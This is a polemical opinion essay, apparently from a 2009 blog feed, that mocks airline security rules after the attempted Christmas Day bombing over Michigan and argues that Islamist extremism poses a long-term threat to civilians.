<p>For some years after 9/11, passengers were forbidden to get up and use the lavatory on the Washington-New York shuttle. Zero tolerance! I suppose it must eventually have occurred to somebody that this ban would not deter a person who was willing to die, so the rule was scrapped. But now the principle has been revisited for international flights. For many years after&#160;<a href="http://en.wikipedia.org/wiki/TWA_Flight_800" target="_blank">the explosion of the TWA plane over Long Island</a> (a disaster that was later found to have nothing at all to do with international religious nihilism), you could not board an aircraft without being asked whether you had packed your own bags and had them under your control at all times. These two questions are the very ones to which a would-be hijacker or bomber would honestly and logically&#160;<em>have</em> to answer "yes." But answering "yes" to both was a condition of being allowed on the plane! Eventually, that heroic piece of stupidity was dropped as well. But now fresh idiocies are in store. Nothing in your lap during final approach. Do you feel safer? If you were a suicide-killer, would you feel thwarted or deterred?</p>
<p>Why do we fail to detect or defeat the guilty, and why do we do so well at collective punishment of the innocent? The answer to the first question is: Because we can't&#8212;or won't. The answer to the second question is: Because we can. The fault here is not just with our endlessly incompetent security services, who give the benefit of the doubt to people who should have been arrested long ago or at least had their visas and travel rights revoked. It is also with a public opinion that sheepishly bleats to be made to "feel safe." The demand to satisfy that sad illusion can be met with relative ease if you pay enough people to stand around and stare significantly at the citizens' toothpaste. My impression as a frequent traveler is that intelligent Americans fail to protest at this inanity in case it is they who attract attention and end up on a no-fly list instead. Perfect.</p>
<p>It was reported over the weekend that in the aftermath of the Detroit fiasco, no official decision was made about whether to raise the designated "threat level" from orange. Orange! Could this possibly be because it would be panicky and ridiculous to change it to red and really, really absurd to lower it to yellow? But isn't it just as preposterous (and revealing), immediately after a known Muslim extremist has waltzed through every flimsy barrier, to leave it just where it was the day before?</p>
<p>What nobody in authority thinks us grown-up enough to be told is this: We had better get used to being the civilians who are under a relentless and planned assault from the pledged supporters of a wicked theocratic ideology. These people will kill themselves to attack hotels, weddings, buses, subways, cinemas, and trains. They consider Jews, Christians, Hindus, women, homosexuals, and dissident Muslims (to give only the main instances) to be divinely mandated slaughter victims. Our civil aviation is only the most psychologically frightening symbol of a plethora of potential targets. The future murderers will generally not be from refugee camps or slums (though they are being indoctrinated every day in our prisons); they will frequently be from educated backgrounds, and they will often not be from overseas at all. They are already in our suburbs and even in our military. We can expect to take casualties. The battle will go on for the rest of our lives. Those who plan our destruction know what they want, and they are prepared to kill and die for it. Those who don't get the point prefer to whine about "endless war," accidentally speaking the truth about something of which the attempted Christmas bombing over Michigan was only a foretaste. While we fumble with bureaucracy and euphemism, they are flying high.</p>
</div>
<p></p><p>&#160;</p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2009/12/flying-high#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=36</wfw:commentRss>
		</item>
			</channel>
</rss>
